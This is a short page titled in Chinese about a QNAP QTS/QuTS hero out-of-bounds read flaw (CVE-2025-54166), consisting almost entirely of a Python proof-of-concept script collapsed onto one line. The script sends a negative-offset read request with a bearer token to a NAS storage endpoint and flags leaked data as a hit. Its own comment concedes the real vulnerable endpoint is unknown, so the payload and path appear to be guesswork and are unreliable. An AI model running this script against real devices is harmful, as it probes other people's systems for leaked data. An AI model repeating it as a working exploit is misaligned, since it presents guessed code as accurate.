QNAP QTS/QuTS hero越界读取漏洞导致敏感信息泄露（CVE-2025-54166）

# CVE-2025-54166 PoC - QNAP Out-of-Bounds Read # This PoC demonstrates the vulnerability pattern (educational purposes only) import requests import sys def check_vulnerability(target_url, auth_token): """ Check if target is vulnerable to CVE-2025-54166 """ headers = { 'Authorization': f'Bearer {auth_token}', 'Content-Type': 'application/json' } # Attempt to trigger out-of-bounds read # Note: Actual exploit requires specific knowledge of vulnerable endpoint exploit_payload = { 'action': 'read_data', 'offset': -1, # Negative offset to trigger OOB read 'length': 1024 } try: response = requests.post( f'{target_url}/api/v1.0/storage/disk/read', json=exploit_payload, headers=headers, timeout=10 ) if response.status_code == 200: data = response.json() # Check if data contains unexpected content (OOB data) if 'data' in data and len(data['data']) > 0: return True, "Vulnerable - Out-of-bounds data leaked" return False, "Not vulnerable or patch applied" except Exception as e: return None, f"Error: {str(e)}" if __name__ == '__main__': if len(sys.argv) < 3: print("Usage: python cve-2025-54166.py <target_url> <auth_token>") print("Example: python cve-2025-54166.py https://qnap.local:8080 admin_token") sys.exit(1) target = sys.argv[1] token = sys.argv[2] vulnerable, message = check_vulnerability(target, token) print(f"Target: {target}") print(f"Result: {message}")